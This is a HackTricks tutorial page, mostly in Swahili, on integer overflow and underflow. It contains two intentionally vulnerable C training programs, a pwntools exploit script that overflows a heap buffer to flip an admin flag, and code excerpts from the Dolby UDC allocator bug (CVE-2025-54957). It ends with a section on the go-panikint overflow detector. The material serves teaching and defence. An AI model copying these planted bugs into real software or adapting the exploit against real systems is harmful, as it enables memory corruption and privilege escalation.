Integer Overflow
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa za Msingi
Msingi wa integer overflow ni kikomo kinachowekwa na ukubwa wa aina za data katika programu za kompyuta na utafsiri wa data.
Kwa mfano, 8-bit unsigned integer inaweza kuwakilisha thamani kutoka 0 to 255. Ikiwa utajaribu kuhifadhi thamani 256 katika 8-bit unsigned integer, itazunguka kurudi 0 kutokana na kikomo cha uwezo wake wa kuhifadhi. Vivyo hivyo, kwa 16-bit unsigned integer, ambayo inaweza kushikilia thamani kutoka 0 to 65,535, kuongeza 1 kwenye 65,535 kutarudisha thamani kuwa 0.
Zaidi ya hayo, 8-bit signed integer inaweza kuwakilisha thamani kutoka -128 to 127. Hii ni kwa sababu biti moja inatumiwa kuwakilisha ishara (chanya au hasi), ikiacha biti 7 kuwakilisha ukubwa. Nambari hasi zaidi inawakilishwa kama -128 (binary 10000000), na nambari chanya zaidi ni 127 (binary 01111111).
Thamani za juu za aina za integer za kawaida:
| Type | Saizi (bits) | Thamani Ndogo | Thamani Kubwa |
|---|---|---|---|
| int8_t | 8 | -128 | 127 |
| uint8_t | 8 | 0 | 255 |
| int16_t | 16 | -32,768 | 32,767 |
| uint16_t | 16 | 0 | 65,535 |
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
| uint32_t | 32 | 0 | 4,294,967,295 |
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
A short ni sawa na a int16_t na int ni sawa na a int32_t na long ni sawa na a int64_t katika mifumo ya 64bits.
Thamani za juu
Kwa ajili ya uwezekano wa web vulnerabilities ni muhimu kujua thamani za juu zinazoungwa mkono:
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
Mifano
Pure overflow
Matokeo yaliyochapishwa yatakuwa 0 kwa sababu tulifanya overflow kwenye char:
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
Signed to Unsigned Conversion
Fikiria hali ambapo signed integer inasomwa kutoka kwa user input kisha kutumika katika muktadha unaoitumia kama unsigned integer, bila uhakiki sahihi:
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
Katika mfano huu, ikiwa mtumiaji ataingiza nambari hasi, itatafsiriwa kama large unsigned integer kutokana na jinsi binary values zinavyotafsiriwa, na inaweza kusababisha tabia isiyotegemewa.
macOS Overflow Example
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Realistic integer-overflow β undersized allocation β heap overflow β flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/
__attribute__((noinline))
void win(void) {
puts("π EXPLOITATION SUCCESSFUL π");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // Target to flip from 0 β 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;
printf("Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF β stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");
// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
// NOTE: 'product32' is 32-bit β wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
// 3) Allocate a single arena and lay out [buffer][slack][session]
// This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena; // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
// 4) Copy uses native size_t product (no truncation) β It generates an overflow
size_t to_copy = count * elem_size; // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);
// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
Tengeneza kwa kutumia:
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c
Exploit
# exploit.py
from pwn import *
# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"
EXE = "./int_ovf_heap_priv"
def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
# 2) Wait until itβs actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)
# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))
if __name__ == "__main__":
main()
Mfano wa macOS Underflow
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/
__attribute__((noinline))
void win(void) {
puts("π EXPLOITATION SUCCESSFUL π");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // flip 0 -> 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break; // EOF: partial read is fine
perror("read"); break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");
size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
const size_t HEADER = 16;
// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
I-compile kwa:
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c
Allocator alignment rounding wrap β undersized chunk β heap overflow (Dolby UDC case)
Baadhi ya allocators maalum hupandisha allocations hadi alignment bila kuangalia tena kwa overflow. Katika Dolby Unified Decoder (Pixel 9, CVE-2025-54957), attacker-controlled emdf_payload_size (iliyodekodishwa kwa loop isiyo na mipaka variable_bits(8)) inapitishwa kwa ddp_udc_int_evo_malloc:
size_t total_size = alloc_size + extra;
if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
if (total_size % 8)
total_size += (8 - total_size) % total_size; // vulnerable rounding
if (total_size > heap->remaining) return 0;
Kwa thamani za 64-bit zinazokaribia 0xFFFFFFFFFFFFFFF9, (8 - total_size) % total_size husababisha kuzunguka kwa ongezeko na inatoa ndogo total_size ingawa alloc_size ya kimantiki inabaki kubwa. Muitaji (caller) baadaye anaandika payload_length bytes ndani ya kipande kilichorejeshwa:
buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
buffer[i] = next_byte_from_emdf(); // writes past tiny chunk
}
Why exploitation is reliable in this pattern:
- Overflow length control: Bytes zinatokana na reader iliyowekwa kikomo na urefu mwingine ulioteuliwa na attacker (
emdf_container_length), hivyo uandishi unasimama baada ya N bytes badala ya kupulizapayload_length. - Overflow data control: Bytes zilizoongezwa zaidi ya chunk zinatolewa kabisa na attacker kutoka EMDF payload.
- Heap determinism: Allocator ni per-frame bump-pointer slab bila frees, hivyo adjacency ya vitu vilivyoharibika ni ya kutabirika.
Mifano Mengine
-
https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
-
Only 1B is used to store the size of the password so itβs possible to overflow it and make it think itβs length of 4 while it actually is 260 to bypass the length check protection
-
https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html
-
Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
- https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/
- Only 1B is used to store the size of the password so itβs possible to overflow it and make it think itβs length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
Go integer overflow detection with go-panikint
Go wraps integers silently. go-panikint is a forked Go toolchain that injects SSA overflow checks so wrapped arithmetic immediately calls runtime.panicoverflow() (panic + stack trace).
Kwa nini uitumie
- Inafanya overflow/truncation ifikike katika fuzzing/CI kwa sababu arithmetic zinazofungwa sasa zina-crash.
- Inafaa kwenye pagination inayodhibiwa na user, offsets, quotas, mahesabu ya ukubwa, au hisabati ya access-control (mfano,
end := offset + limitonuint64wrapping small).
Jenga & tumia
git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness
Endesha binary iliyofork ya go kwa tests/fuzzing ili kuibua overflows kama panics.
Udhibiti wa kelele
- Ukaguzi wa truncation (casts kwa ints ndogo) unaweza kusababisha kelele.
- Zimisha wrap-around iliyokusudiwa kwa kutumia source-path filters au maoni ya inline
// overflow_false_positive/// truncation_false_positive.
Mfano wa dunia halisi
go-panikint iligundua Cosmos SDK uint64 pagination overflow: end := pageRequest.Offset + pageRequest.Limit iligeuka ikavuka MaxUint64, ikarudisha matokeo tupu. Instrumentation ilibadilisha wrap kimya kuwa panic ambayo fuzzers waliweza kupunguza.
ARM64
Hii hainabadiliki kwa ARM64 kama unaweza kuona katika this blog post.
Marejeo
- Detect Goβs silent arithmetic bugs with go-panikint
- go-panikint (compiler fork)
- Pixel 0-click β CVE-2025-54957 allocator wrap β heap overflow
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


